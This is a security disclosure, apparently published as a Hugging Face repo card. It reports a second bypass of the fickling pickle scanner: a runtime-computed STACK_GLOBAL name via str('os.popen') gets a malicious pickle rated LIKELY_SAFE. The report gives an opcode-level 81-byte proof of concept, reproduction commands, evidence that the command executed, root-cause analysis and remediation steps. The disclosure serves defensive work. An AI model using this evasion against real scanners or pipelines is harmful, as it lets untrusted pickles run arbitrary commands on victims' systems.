YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
- Fickling scanner bypass #2 β runtime-computed
STACK_GLOBALname defeats fickling's static analysis (RCE ratedLIKELY_SAFE)- Summary
- What fickling thinks the pickle does (its own decompiled AST)
- What the real unpickler actually does
- Root cause
- Why this is distinct from the aliased-
os-re-export (_os.popen) gadget - Proof of Concept
- Captured evidence (verbatim, fickling 0.1.12 / CPython 3.13.12)
- Impact
- Suggested remediation
- Dedup / prior art
- Summary
Fickling scanner bypass #2 β runtime-computed STACK_GLOBAL name defeats fickling's static analysis (RCE rated LIKELY_SAFE)
Target: trailofbits/fickling β pickle security/analysis tool
Version tested: fickling 0.1.12 (latest on PyPI), fresh venv
Victim Python: CPython 3.13.12 (system), plain pickle.load (no fickling hooks)
Class: Security-scanner detection bypass β arbitrary command execution (RCE) via a pickle the scanner rates safe
Severity: High β defense-evasion / detection-bypass against a tool whose whole job is to gate untrusted pickles
This is a second, mechanistically distinct bypass from the aliased-
os-re-export (random._os.popen) gadget. See "Why this is distinct" below.
Summary
An 81-byte protocol-4 pickle is rated LIKELY_SAFE by fickling 0.1.12 β is_likely_safe() returns True, check_safety().severity == LIKELY_SAFE with zero findings, and the CLI fickling --check-safety exits 0 (EXIT_CLEAN). The identical file, opened with the ordinary standard-library pickle.load, executes an attacker-controlled shell command through os.popen.
The bypass works because fickling is a static analyzer of the pickle program, but the dangerous global's name string is computed at unpickle time. The name "os.popen" is never present in the pickle as a STACK_GLOBAL argument β it is produced by str("os.popen") at load time and only then handed to STACK_GLOBAL. Fickling's interpreter sees an opaque value where a module/name string should be, emits a benign placeholder import, and rates the file safe. The real CPython unpickler evaluates the str(...) reduce, gets the string "os.popen", and resolves find_class("posixpath", "os.popen") β posixpath.os.popen β os.popen.
What fickling thinks the pickle does (its own decompiled AST)
from builtins import str
_var0 = str('os.popen')
from posixpath import _var0 # <-- opaque placeholder: fickling has no idea this is os.popen
_var1 = _var0('id > /tmp/β¦') # <-- treated as a safe stdlib call (name in likely_safe_imports)
_var2 = _var1
_var2.__setstate__({}) # BUILD -> setstate, excluded from the "unused variable" heuristic
result = _var2
Fickling literally reports the import as from posixpath import _var0. It never sees the string "os.popen" as an import name, so its module/name allowlist has nothing to match.
What the real unpickler actually does
str("os.popen") -> "os.popen" (runtime string)
STACK_GLOBAL "posixpath","os.popen" -> find_class(...) -> posixpath.os.popen == os.popen
REDUCE os.popen("id > /tmp/β¦") -> command executes
Root cause
str(...)is a whitelisted call.builtins.stris inSAFE_BUILTINS;from builtins import stris not flagged, andstris added tolikely_safe_imports, soOvertlyBadEvalsskips thestr('os.popen')reduce.- The computed string is opaque to
STACK_GLOBAL. Infickling/fickle.py,StackGlobal.runexpects the module/name on the interpreter stack to beast.Constantstrings. Here the name is anast.Name(thestr()result), so fickling takes the lenient path (extract_identifier_from_ast_node, prints a "malformed pickle β¦ extracting identifiers to continue analysis" warning) and buildsast.ImportFrom(module="posixpath", names=[alias("_var0")]). - The placeholder import is benign to every check.
module="posixpath"is stdlib βNonStandardImportspasses; name_var0has no blocked component βUnsafeImportspasses; and because the module is stdlib,_var0is added tolikely_safe_imports, so the subsequent call_var0(cmd)is treated as a safe stdlib call βOvertlyBadEvals/BadCallspass. BUILDerases the last residual signal. Without it,_var2 = _var1(...)would be an unused assignment (UnusedVariablesβSUSPICIOUS).os.popenreturns anos._wrap_closeobject (has__dict__), soBUILDwith an empty state dict succeeds; fickling emits_var2.__setstate__({}), which references the variable in a non-final position, soUnusedVariablesreports nothing. Net severity collapses toLIKELY_SAFE.
The tool's warning about "invalid types" for STACK_GLOBAL does not raise the severity, does not set has_invalid_opcode, and does not change the is_likely_safe()/exit-0 verdict β the security-relevant output still says safe.
Why this is distinct from the aliased-os-re-export (_os.popen) gadget
| Gadget #1 (aliased re-export) | Gadget #2 (this finding) | |
|---|---|---|
| STACK_GLOBAL name | static literal "_os.popen" |
computed at runtime via str("os.popen") |
| Does fickling see the name? | Yes β it decompiles _os.popen('β¦') |
No β it decompiles _var0('β¦'), name unknown |
| Is the literal name on fickling's blocklist? | No (_os is not os) |
Yes (os is blocked β see negative control) |
| Root cause | allowlist reasons over literal name components; the alias _os is not the literal os |
analyzer is blind to runtime-computed find_class arguments; static view of the import is a benign placeholder |
Gadget #1 evades the allowlist; gadget #2 evades the static analysis itself. They are independent: gadget #2 uses the literally-blocked name os.popen and still passes, because fickling never sees that string.
Proof of Concept
evil_dynamic_name.pkl (81 bytes) disassembly:
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'posixpath' # stdlib carrier (posixpath imports os)
13: \x8c SHORT_BINUNICODE 'builtins'
23: \x8c SHORT_BINUNICODE 'str'
28: \x93 STACK_GLOBAL # builtins.str (SAFE_BUILTINS)
29: \x8c SHORT_BINUNICODE 'os.popen'
39: \x85 TUPLE1
40: R REDUCE # str("os.popen") -> runtime string, opaque to fickling
41: \x93 STACK_GLOBAL # find_class("posixpath","os.popen") -> os.popen
42: \x8c SHORT_BINUNICODE 'id > /tmp/fickling_pwned_dyn.txt'
76: \x85 TUPLE1
77: R REDUCE # os.popen(cmd) -> command executes
78: } EMPTY_DICT
79: b BUILD # erase UnusedVariables signal
80: . STOP
Reproduce:
pip install fickling==0.1.12
python build_poc.py # writes evil_dynamic_name.pkl
fickling --check-safety evil_dynamic_name.pkl ; echo "exit=$?" # -> exit=0 (EXIT_CLEAN)
python -c "import fickling; print(fickling.is_likely_safe('evil_dynamic_name.pkl'))" # -> True
rm -f /tmp/fickling_pwned_dyn.txt
python victim.py # plain pickle.load -> command runs
cat /tmp/fickling_pwned_dyn.txt # proof: `id` output
Captured evidence (verbatim, fickling 0.1.12 / CPython 3.13.12)
severity : LIKELY_SAFE
is_likely_safe? : True
findings : '' (zero findings)
has_invalid_opcode: False
fickling.is_likely_safe(): True
CLI: fickling --check-safety evil_dynamic_name.pkl
CLI EXIT = 0 (0 = EXIT_CLEAN / safe)
REAL loader: system python 3.13.12, plain pickle.load
unpickle returned: _wrap_close
--- sentinel /tmp/fickling_pwned_dyn.txt ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),... <-- os.popen executed `id`
Negative control (isolates the mechanism)
The identical structure with a static literal name posixpath / os.popen (no str() indirection) is correctly caught:
severity: LIKELY_OVERTLY_MALICIOUS
findings : Call to `os.popen(...)` can execute arbitrary code and is inherently unsafe
`from posixpath import os.popen` is suspicious and indicative of an overtly malicious pickle file
So the only thing that flips the verdict from OVERTLY_MALICIOUS to LIKELY_SAFE is moving the name from a static literal to a runtime-computed str(...) β proving the bypass is the analyzer's blindness to computed STACK_GLOBAL arguments, not the choice of module/callable.
Impact
Fickling is widely used as a pre-load gate (directly and inside model-scanning pipelines) deciding whether an untrusted .pkl/model is safe. A victim who runs fickling --check-safety or fickling.is_likely_safe(...) before pickle.load gets a clean/safe verdict for a file that runs arbitrary OS commands on load β a full detection bypass yielding RCE. The technique is general: any dangerous global can be reached by pairing a clean stdlib-module literal (as the STACK_GLOBAL module) with a runtime-computed name string via a whitelisted builtin (str, and others), so it is not specific to posixpath/os.popen.
Suggested remediation
- Treat any
STACK_GLOBALwhose module or name is not a compile-time-constant string as at leastSUSPICIOUS/unsafe, rather than extracting a placeholder identifier and continuing as if the import were benign. A runtime-computed global target is the whole point of an evasion. - Do not add a name to
likely_safe_imports(nor letNonStandardImports/UnsafeImportspass) for anImportFromsynthesized from a non-string/opaqueSTACK_GLOBALargument. - Consider constant-folding known-safe builtins (
str, etc.) so a computed literal likestr("os.popen")is resolved and then re-checked against the blocklist β or, more simply, refuse to constant-fold and flag the indirection.
Dedup / prior art
No public CVE/advisory describes this runtime-computed STACK_GLOBAL name evasion against fickling. It is distinct from the aliased-os-re-export gadget (which uses a static, non-blocklisted name) and from generic "pickle can import anything" notes: here fickling specifically rates the file LIKELY_SAFE with zero findings, and a negative control shows the same callable is caught when named statically.